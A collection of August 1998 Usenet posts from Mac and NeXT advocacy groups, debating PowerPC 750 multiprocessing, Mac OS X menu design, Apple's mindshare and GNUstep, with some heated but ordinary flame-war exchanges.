References: <not-0108981328160001@ip-167-027.phx.primenet.com> <B1E8D0B8-D1531@206.165.43.118>
Originator: gupta@tlctest
Lawson English <english@primenet.com> wrote:
>
>No shipping G3 system will handle SMP. No rumored G3 system will handle
>SMP. I don't think that even RS/6000 systems based on G3's will handle SMP.
The Silicon-on-Insulator stories (see TechWeb, EE Times) say that
IBM built a 4-way PowerPC 750 AIX server, where the PowerPC 750s were
built on S-O-I.
-arun gupta
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 3 Aug 1998 22:12:45 GMT
Organization: University of California at San Diego
Message-ID: <slrn6scdet.fbr.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <not-0108981328160001@ip-167-027.phx.primenet.com> <B1E8D0B8-D1531@206.165.43.118> <6q598i$m4o@newsb.netnews.att.com>
On 3 Aug 1998 21:14:58 GMT, gupta@kcopsrm.tm.tta.moc-mirror after wrote:
:Lawson English <english@primenet.com> wrote:
:>
:>No shipping G3 system will handle SMP. No rumored G3 system will handle
:>SMP. I don't think that even RS/6000 systems based on G3's will handle SMP.
:
:The Silicon-on-Insulator stories (see TechWeb, EE Times) say that
:IBM built a 4-way PowerPC 750 AIX server, where the PowerPC 750s were
:built on S-O-I.
And I thought the 750's were bad for multiprocessing because they didn't
support the right sort of cache coherence?
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 3 Aug 98 15:38:32 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1EB89FC-C1B6A@206.165.43.29>
References: <6q598i$m4o@newsb.netnews.att.com>
Mime-Version: 1.0
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nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
gupta@kcopsrm.tm.tta.moc-mirror said:
>Lawson English <english@primenet.com> wrote:
>>
>>No shipping G3 system will handle SMP. No rumored G3 system will handle
>>SMP. I don't think that even RS/6000 systems based on G3's will handle
>SMP.
>
>The Silicon-on-Insulator stories (see TechWeb, EE Times) say that
>IBM built a 4-way PowerPC 750 AIX server, where the PowerPC 750s were
>built on S-O-I.
OK, so prototyped hardware from IBM has 4-way SMP. Cool. OTOH, that
suggests that the G4's aren't as close to release as I thought. Maybe the
new technologies make the G3's as fast as their G4's?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 3 Aug 1998 22:35:37 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6q5dvp$p74$1@lwnws01.ne.highway1.com>
References: <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <35BDF6BC.B3238E95@ericsson.com> <Pine.SOL.3.96.980728142652.21913A-100000@ux8.cso.uiuc.edu> <35BE2E3B.CE9EB08A@ericsson.com> <35bebc5e.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R3007981635090001@news> <Pine.SOL.3.96.980731113547.29552A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R3107981506300001@news> <6pti1s$4pj$4@cronkite.cygnus.com> <andyba-ya02408000R0308981203180001@news>
andyba@corp.webtv.net (Andy Bates) wrote:
> And yes, I could get around this by just using a click-hold to select the
> menu, and a release to invoke it, but that would be forcing me to limit my
> interface with the menu system to account for having buttons on the top
> level. In my opinion, the limitation is not worth the benefit.
>
> Does that make more sense?
Yes. However, I think the abilith to limit you from whipping, clicking for
no real purpose just to randomly release, for most people is not a valued
function. For most people, the whip is to get up there, and they actually
are targeting something they want to get into. So they'll usually overshoot
and refine and go down the path they wanted to, most will maintain the click.
Sure, no doubt some will do as you say, I hope and believe (though like you
have no proof at all to back this up) that most people don't do a full mouse
down and up for no apparent reason, but I cant be sure. It's a numbers game
then. *If* few people actually do that, and many people would benefit from
the short top level root menu access, then it's a net win overall--i.e. what
I believe is the likely case. As always, I reserve my right to be 100%
wrong.
--
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: 3 Aug 1998 22:52:53 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6q5f05$q83$1@lwnws01.ne.highway1.com>
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net> <35c1cc00.0@nnrp1.news.uk.psi.net> <35C1F29C.15D02625@exu.ericsson.se> <6pt3sq$5sv$1@lwnws01.ne.highway1.com> <andyba-ya02408000R3107981504030001@news> <6ptmcu$j2o$1@lwnws01.ne.highway1.com> <andyba-ya02408000R0308981158590001@news>
andyba@corp.webtv.net (Andy Bates) wrote:
> In article <6ptmcu$j2o$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
>
> > They mentioned it for a particular group. And you either failed
> > to read, or didn't include for whatever reason my notion of a
> > custom menu palette.
>
> I read the idea of a custom menu palette, and I support the idea.
> However, I don't see how that should affect the default menu
> behavior at all. In fact, I would much rather have a custom menu
> or toolbar to allow high-level access to certain commands, instead
> of placing top-level menu items that people might not benefit
> from.
UG, I'm going to explode. Because a *CUSTOM* menu would be for people that
have *CUSTOM* or particular needs. So for example, for the second time, if
10% of people are DTPers and would like print preview, i.e. not everyone
needs that function frequently, they could put it on a top level custom menu.
However, 90% of people likely print, so we wouldn't put that on a custom
menu, but on the general root menu because the *GENERAL* population seems to
use that a lot in every kind of context. No say 70% of people use bold &
italics in a *WORD PROCESSING* app, that is no longer a general case. I can
only think of the 3 things that seem to be used by everyone, in every context
the majority of the time for an application: print, hide, & quit. So, since
all other functions seem to be used by either a minority of people, or for
only a specific application, I do not see a reason to include those functions
in the general top level menu layout. For other, non general functions, one
could use a more custom menu type solution.
> > Yea, and that's why I proposed what I did, and I haven't a clue
> > why you're building up this straw man huff. Regardless, I've
> > seen no argument from you why the general public does not
> > benefit from having hide, print, and quit up on top.
>
> Because they take up more room on the top level, and may not be
> used by a lot of people. Because they break away from the standard
> of having menus on the top level, and limit menu behavior (i.e.
> you can no longer click-release to select a menu, since that
> might click a button instead).
The standard *mac* way. Who gives a piss about what the heck idiot mac
designers deem standard. The criteria is one of nostalgia and habit, not
merit. So this "standard" argument doesn't do anything at all for me. I'm
sure lots of mac bozos will love it to death though, and deserve the UI they
consequently get. Your limit menu behavior is a valid argument. I disagree
with you that is actually a real limitation for the majority of people. I
have no proof for my belief in that regard other than my gut feeling, which
may certainly be off. I believe you also have no proof but your opinion, but
if you have some study or something, I'd be very interested in hearing about
it. As it stands, the shortcoming you claim, based on my sense of common
sense, is it's a red herring. YMMV.
> > Why, because you don't have anything but drivel.
>
> I am offering logical, well-thought-out counterarguments to your
> arguments. Why you feel the need to label it as "drivel" or
> throw out personal attacks just because I disagree with you is
> beyond me. I still respect your arguments, although I may not
> agree with them personally; why do you seem to not respect me,
> just because I disagree with you?
Well first I should probably apologize. I'm in the middle of studying for
the Patent bar (which makes the state bar exam I took in the past seem like
childs play), so I'm probably overly grouchy to start. My problem with you
in our exchanges is that I seem to have to explain things in excruciatingly
basic terms, several times over before you get them, and it's annoying the
hell out of me. No doubt whatsoever that I'm either equally or more to blame
for the difficulty in communication, and I've likely been taking that
frustration out on you in an undeserved way. For that my sincere apologies.
Regardless, one thing I at this time and not seeking to do is convince anyone
here, and particularly noone in the mac community, about anything. I've
generally written the majority of that group off as bozo's (in the computer
sense, not as human beings, they are generally fine people in that regard)
incapable of well thought out argumants or honest and open criticism; not
deserving of even my drivel.
--
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: ckoller@worldnet.att.net (Craig Koller)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 3 Aug 1998 23:01:18 GMT
Organization: MediActive
Message-ID: <ckoller-ya02408000R0308981603300001@netnews.worldnet.att.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <ckoller-0208982346530001@38.los-angeles-09.ca.dial-access.att.net> <macghod-0308981202310001@sdn-ar-001casbarp248.dialsprint.net>
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In article <macghod-0308981202310001@sdn-ar-001casbarp248.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> Why would I want to do that? *IF* you read the post, you would read that
> I am happy that the mindshare is changing. Let the general public think
> this. Hey, intel made stupid commercials where they said the p2 chip
> creates more vibrant colors...
>
Ya know what ... I don't want to go back to the beginning of this thread. I
may have missed your "vibrant colors" point. And if all you're saying is
that Apple's building mindshare by acknowledging that the American buying
public is a pack of brain-numbed vidiots, and is using the same tactics
that Intel and MS have used, then fine. Cool. We're in agreement. Group
hug.
> >
> > But I said it as a loyal Mac user who wanted Apple to get better, not a
> > Wintel FUDster who wanted to put a bullet through Apple's head. Think real
> > hard and you'll understand the difference.
>
>
> How funny that being objective makes one a wintel fudster.
>
...oh, and there's no Wintel Fudsters in this forum? Just a bunch of
"objective" people? If so, I'd love to hear a little more fair, objective
acknowledgements of where Wintel fails. Funny, we don't get much a'that
round these parts from the "objective" folk.
> >
> > Much of what Joe said was in reaction to the bile spewed from the Mac
> > bashers who just had to stick salty sticks into the gaping wounds. What a
> > cowardly thing to do. It's like taunting a lion in a cage. Hoopdee
> > -freakin' - doo.
>
> Get real. The media always bashes those who appear week. Now that apple
> is increasing in mindshare they will lay off a bit and bash others who
> appear weaker.
>
Oh, c'mon, the media loves pulling companies off pedestals as much as it
loves putting company's on them. Bill and co. have only gotten a taste of
the former after enjoying years and years of the latter.
>
> Look how this looks to the observer, a mac user objectively states his
> opinions and you have to yell "WINTEL TROLL"
>
Write this date down. I'm Sorry. Didn't know you were a Mac user.
[snip - whatever I said, did wrong ... Mea culpa. Mea Maxima culpa]
> >
> > Oh cripes, I need to bow out for a while and cool off. Honestly, I'm sure
> > you and Jim Meuller and the rest of the clan are quite nice fellows, once
> > the armor is removed ...
>
>
> Another thinly veiled "WINTEL TROLL" comment. How sad that a mac user who
> tries to be objective is just insulted by you, called a wintel troll, and
> insinuated to be acting just like other wintel trolls.
Is it my mistakenly associating you with JM that got y'all hot and
bothered? Sorry, I thought I was being magnanimous... "we're all brothers
under the one or two-button mouse" sorta thing...
Alright. I'm done apologizing.
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 3 Aug 1998 23:01:47 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6q5fgr$q83$2@lwnws01.ne.highway1.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <35BFB0BB.1AB6@geocities.com> <6pqamt$s5d$1@plo.sierra.com> <6pqqjc$jr6$1@lwnws01.ne.highway1.com> <andyba-ya02408000R3107981030580001@news> <6pt4vl$5sv$3@lwnws01.ne.highway1.com> <andyba-ya02408000R0308981146500001@news>
andyba@corp.webtv.net (Andy Bates) wrote:
> In article <6pt4vl$5sv$3@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
> > Since you have repeatedly not comprehended what I have said,
> > I'll note you are far from an authority on noting what I said,
> > for the record or
> otherwise.
> > And once again you're wrong. I *am* complaining that a UI
> > designed to work well on a 640X480 resolution will not scale
> > well, nor work as well as a UI designed to work at 1024X768 on
> > up.
>
> No, in that specific posting, you were complaining that a 9"
> screen would be a "crap laptop." You said nothing about the UI
EXACTLY. BINGO. A 9" SCREEN WOULD MAKE A CRAP LAPTOP. YES SIR. YOU WIN A
CIGAR. Jeezus.
> not scaling well to larger screens. Maybe you expect everyone to
> read all of your postings for the past six months to understand
> what you're "really" complaining about, but I take each message
> as it comes, and judge it by what it says. You WERE complaining
> about the screen, and you WEREN'T complaining about the UI not
> scaling well.
What amazes me is you still cannot comprehend what I'm saying. Over and
over. So either I must sulk in my complete retarded ability to communicate;
being a miserable failure at it. Or marval at your inability to comprehend.
Or both marvel and sulk at the combination.
> > > Now, this is a simple question: if this guy says he loves
> > > his Libretto, and the Libretto has a 6" screen, how would
> > > giving it a BIGGER screen make it a WORSE device?
> >
> > Because at that point it wouldn't ostensibly be a palm top, it
> > would be too big.
>
> Semantics. A device with a 9" screen could still be held in your
> hand, and still be a palmtop.
Maybe to you. But I've seen people that can hold a motorcycle inthe palm of
their hand, that doesn't make it portable. In my opinion, once you get a
screen that big, you're dealing with a laptop. And a laptop with a 9" screen
would suck, IMO.
> > What kind of porsche is it? Is it a street legal stock 911?
> > If so, it would suck as a formula 1 race car. I would hate to
> > limit a formula 1 car with a stock porsche UI--having a relatively
> > long throw gear box rather than the semi-automatic trip, the
> > seating stance which would keep the car from being aerodynamic,
> > all the niceties that add weight, etc etc.
>
> Nevertheless, a stock 911 would be a great sports car for a lot
> of people. But by your logic, since it would be a crappy race
> car, it must be a crappy machine.
No, it would be a CRAPPY RACE CAR. That's exactly what I said. Your
inability to comprehend that I mean what I say is freakn amazing. It would
suck as a RACE CAR. So can you see the natural consequence of this. No?
I'll spell it out then. Similarly, a UI, that would work well, even for most
people, as a palmtop (on a 640X480 resolution screen or smaller) would limit
and inhibit a desktop UI would would be substantially larger. IT WOULD SUCK
AS A DESKTOP UI IN COMPARISON, just like a 911 would suck as race car
compared to a formula 1 machine. Jeez.
> In other words, just because you think that a device with a 9"
> screen would be a "crap laptop," that doesn't mean that a lot of
> other people wouldn't benefit from having one, and find it well
> worth the price.
That's about right. I think anyone that releases a laptop with a 9" screen
deserves what they get (remember this from the first post). I BELIEVE a
laptop with a 9" screen sux maggot dung. I think limiting a desktop UI to
one designed to work well on a 640X480 display (or smaller) is a dip shit
strategic decision. Those are my opinions. If YMMV, fine.
--
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 3 Aug 1998 16:51:51 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6q5j0l$bte$1@plo.sierra.com>
References: <not-0108981328160001@ip-167-027.phx.primenet.com> <B1E8D0B8-D1531@206.165.43.118> <6q598i$m4o@newsb.netnews.att.com> <slrn6scdet.fbr.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
NNTP-Posting-Date: 4 Aug 1998 00:01:25 GMT
Matt Kennel wrote in message ...
>On 3 Aug 1998 21:14:58 GMT, gupta@kcopsrm.tm.tta.moc-mirror after wrote:
>:Lawson English <english@primenet.com> wrote:
>:>
>:>No shipping G3 system will handle SMP. No rumored G3 system will handle
>:>SMP. I don't think that even RS/6000 systems based on G3's will handle
SMP.
>:
>:The Silicon-on-Insulator stories (see TechWeb, EE Times) say that
>:IBM built a 4-way PowerPC 750 AIX server, where the PowerPC 750s were
>:built on S-O-I.
>
>And I thought the 750's were bad for multiprocessing because they didn't
>support the right sort of cache coherence?
They are. But IBM could modify them to work better.
Date: Mon, 03 Aug 1998 20:01:18 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-0308982001190001@elk108.dol.net>
References: <6q598i$m4o@newsb.netnews.att.com> <B1EB89FC-C1B6A@206.165.43.29>
In article <B1EB89FC-C1B6A@206.165.43.29>, "Lawson English"
<english@primenet.com> wrote:
> gupta@kcopsrm.tm.tta.moc-mirror said:
>
> >Lawson English <english@primenet.com> wrote:
> >>
> >>No shipping G3 system will handle SMP. No rumored G3 system will handle
> >>SMP. I don't think that even RS/6000 systems based on G3's will handle
> >SMP.
> >
> >The Silicon-on-Insulator stories (see TechWeb, EE Times) say that
> >IBM built a 4-way PowerPC 750 AIX server, where the PowerPC 750s were
> >built on S-O-I.
>
>
>
> OK, so prototyped hardware from IBM has 4-way SMP. Cool. OTOH, that
> suggests that the G4's aren't as close to release as I thought. Maybe the
> new technologies make the G3's as fast as their G4's?
What makes you say that?
IBM tested a 750 AIX server a year ago. What the heck does that have to do
with whether the G4s will be out early next year?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 3 Aug 98 17:17:30 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1EBA12E-118EC3@206.165.43.29>
References: <slrn6scdet.fbr.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> said:
>:The Silicon-on-Insulator stories (see TechWeb, EE Times) say that
>:IBM built a 4-way PowerPC 750 AIX server, where the PowerPC 750s were
>:built on S-O-I.
>
>And I thought the 750's were bad for multiprocessing because they didn't
>support the right sort of cache coherence?
IBM can afford to add the extra hardware needed. I doubt if Apple is going
to do it.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 03 Aug 1998 20:52:23 -0400
Organization: none
Message-ID: <id_est-0308982052240001@192.168.1.3>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <ckoller-0208982346530001@38.los-angeles-09.ca.dial-access.att.net> <macghod-0308981202310001@sdn-ar-001casbarp248.dialsprint.net> <ckoller-ya02408000R0308981603300001@netnews.worldnet.att.net>
In article <ckoller-ya02408000R0308981603300001@netnews.worldnet.att.net>,
ckoller@worldnet.att.net (Craig Koller) wrote:
> ...oh, and there's no Wintel Fudsters in this forum? Just a bunch of
> "objective" people? If so, I'd love to hear a little more fair, objective
> acknowledgements of where Wintel fails. Funny, we don't get much a'that
> round these parts from the "objective" folk.
OK, here's one. Today I restarted an NT box. I had wanted to test some RAM
out in it. It ended up with the same RAM that it started out with. It
went to the Blue Startup Screen and then announced that the OLE32.dll file
may be corrupted, the header checksum didn't match the calculated one and
it stopped. Nothing changed in the configuration (there is still only the
orginal configuration listed), nothing was installed or removed. It was
just restarted. Now it would be nice to know what exactly to do in a
situation like this apart from reinstall Windows NT. Replacing the file
with the orginal isn't possible as the machine can't even startup. The
disks are formatted with NTFS so you can't just use a DOS disk as it
doesn't recognize the disks. It can't boot of a CD or a ZIP. The NT
"emergency" disk was damaged somehow as floppies somehow seem to be. So
apart from reinstalling the whole damn thing what does one do in a
situation like this.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 3 Aug 98 17:59:32 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1EBAB08-13DF76@206.165.43.29>
References: <joe.ragosta-0308982001190001@elk108.dol.net>
Mime-Version: 1.0
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nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Joe Ragosta <joe.ragosta@dol.net> said:
>IBM tested a 750 AIX server a year ago. What the heck does that have to do
>with whether the G4s will be out early next year?
But was it a 4-way SMP model. The orginal article suggested that this 4-way
RS/6000 workstation was using the SOI technology, which is brand new.
Just as the 750's pushed the 604e's out of the market because it was faster
than expected, perhaps the SOI-based 750's will crowd the low-end G4
market, delaying the introduction of the hotter, more expensive G4 CPUs
until they are clearly faster.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: ayufbaykuh@bayust.cowm
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 03 Aug 1998 17:57:12 -0700
Message-ID: <ayufbaykuh-0308981757130001@192.168.0.2>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org> <joe.ragosta-2107980809550001@0.0.0.0> <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se> <joe.ragosta-3107980845370001@wil31.dol.net> <6psua5$dj9$1@plo.sierra.com> <joe.ragosta-0108980723530001@elk78.dol.net> <6q574r$5e9$1@plo.sierra.com> <MPG.103004c6972eb9c989a95@news.supernews.com>
\H;P~1w0O+wJq\]fy=yWGLWBIsnq-L7<(<bD6#1Wwuz(fd2tH)r8l'q|U
In article <MPG.103004c6972eb9c989a95@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
>People who buy software written by stupid programmers deserve the
>problems they get.
>
>The probability that any shipping product will have
>
>> strcpy((char *)0, "I win the contest, boy was that extremely easy to do.");
>
>is zero.
Eloquent, Don.
--
"When future historians write about us, if they base their
conclusions on whatever material goods survive from Present-Day
America, we will undoubtedly stand alone among nations and be known
forevermore as "THOSE WHO CHOSE CHEESE." - Frank Zappa
From: handleym@ricochet.net (Maynard Handley)
Newsgroups: comp.sys.next.advocacy,comp.arch
Subject: Re: 4-way PPC 750
Date: Mon, 03 Aug 1998 18:00:10 -0700
Organization: Me and no-one else
Message-ID: <handleym-0308981800100001@handma.apple.com>
References: <6q53ln$la2@newsb.netnews.att.com>
In article <6q53ln$la2@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> IBM's Silicon-on-insulator (SOI) is interesting enough, but
> something else caught my eye.
>
> http://www.eet.com/news/98/1020news/ibmtakes.html
>
> Quote :
>
> Ghavam Shahidi, SOI program manager at IBM said
> many skeptics within the company became believers
> on Feb 1, 1997 when a PowerPC 604e processor made
> on SOI-type wafers was able to boot up a computer.
> By May 1997, the company demonstrated a PowerPC 750
> processor. Later a four-way server built around
> four SOI-enhanced PowerPC 750s was able to run the
> AIX operating system.
>
> End quote.
>
> I had thought that it was difficult to build a 2-way PPC 750
> machine, and impossible to build more than that. This is the
> impression I received from newsgroups, etc.
You cannot build a super-efficient SMP 750 machine because of the lack of
a shared MESI state. And to do so, you have to make changes to the OS to
work around the fact that TLB and I-cache are not snooped. But these are
different from saying it can't be done.
Maynard
--
My opinion only
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.os.linux.advocacy,gnu.misc.discuss,comp.sys.next.advocacy
Subject: Re: GNUstep anybody? [was: Re: GNOME was Re: unix store comparable to compusa, etc..]
Date: 4 Aug 1998 01:11:00 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <6q5n34$gp5$3@blue.hex.net>
References: <35AA603A.C7058111@ast.lmco.com> <35adca9d.8233612@nnrp.digex.net> <35b09397.102131197@nntp.netcruiser> <35b32a8f.11880501@nnrp.digex.net> <6omf68$48o@pell.pell.portland.or.us> <35ba7bdf.14800176@nnrp.digex.net> <slrn6r7n3r.1gb.cbbrowne@knuth.brownes.org> <6p32en$ecf$1@nnrp1.dejanews.com> <wsn3ebuzhmn.fsf@harper.uchicago.edu> <87ogui8pbx.fsf_-_@firetrap.csres.utexas.edu> <m2r9zedswv.fsf@mailhost.neuroinformatik.ruhr-uni-bochum.de> <87zpdn8p67.fsf_-_@dialin20.zdv.uni-mainz.de>
On 02 Aug 1998 15:54:24 +0200, Paul Seelig <pseelig@mail.uni-mainz.de> wrote:
>David Kastrup <dak@mailhost.neuroinformatik.ruhr-uni-bochum.de> writes:
>
>> I have the feeling that
>> GNOME development has quite a long way to go (of many key features
>> there does not exist much more than proof of concept), but quite a few
>> things look pretty promising for the long perspective.
>>
>I just keep wondering why everybody seems to prefer forgetting about
>GNUstep. :-( Judging from what i've seen so far from NeXTstep etc. and
>then comparing this to the GNUstep this seems to be by far a more
>attractive project than the whole KDE/GNOME thingie. Why does
>everybody else seem to think different?
a) Some don't believe in the joys of Display Postscript.
b) There are those who dislike the FSF, despite liking the GPLed
software that they have produced. Somehow there is the impression that
GNUStep is closer to the FSF than GNOME.
c) GNUStep means using Objective C. Obviously inferior to C or C++,
depending on your bias :-).
d) GNUStep has been in "pre-alpha" for rather a long time, and
participants are concentrating on making libraries work. This
discourages the availability of applications that might popularize it.
I suspect that for GNUStep to become "less forgotten," the authors need
to release a version that has been somewhat tuned to be readily
installed atop Linux, with everything available in .rpm/.deb form.
This would parallel the recent project to make Hurd more approachable by
introducing "Debian Hurd."
e) When it looked like Rhapsody would provide a "commercial" OpenStep
platform, having a parallel "free" platform (e.g. - GNUStep) seemed
meaningful.
When it looked like this might be the "Apple Platform of the Future,"
the notion appeared doubly interesting, offering the possibility that
one might get "Linux Ports of future Mac software with little developer
cost beyond compilation time."
The elimination of DPS in MacOS X makes it questionable just how
interoperable the systems would be, which surely diminishes interest in
GNUStep.
--
"World domination. Fast." -- Linus Torvalds
cbbrowne@ntlug.org- <http//www.hex.net/~cbbrowne/lsf.html>
From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.os.linux.advocacy,gnu.misc.discuss,comp.sys.next.advocacy
Subject: Re: GNUstep anybody? [was: Re: GNOME was Re: unix store comparable to compusa, etc..]
Date: 4 Aug 1998 01:27:48 GMT
Organization: Steel Driving Software
Message-ID: <01bdbf47$34aae480$98b5dccf@samsara>
References: <35AA603A.C7058111@ast.lmco.com> <35adca9d.8233612@nnrp.digex.net> <35b09397.102131197@nntp.netcruiser> <35b32a8f.11880501@nnrp.digex.net> <6omf68$48o@pell.pell.portland.or.us> <35ba7bdf.14800176@nnrp.digex.net> <slrn6r7n3r.1gb.cbbrowne@knuth.brownes.org> <6p32en$ecf$1@nnrp1.dejanews.com> <wsn3ebuzhmn.fsf@harper.uchicago.edu> <87ogui8pbx.fsf_-_@firetrap.csres.utexas.edu> <m2r9zedswv.fsf@mailhost.neuroinformatik.ruhr-uni-bochum.de> <87zpdn8p67.fsf_-_@dialin20.zdv.uni-mainz.de> <6q5n34$gp5$3@blue.hex.net>
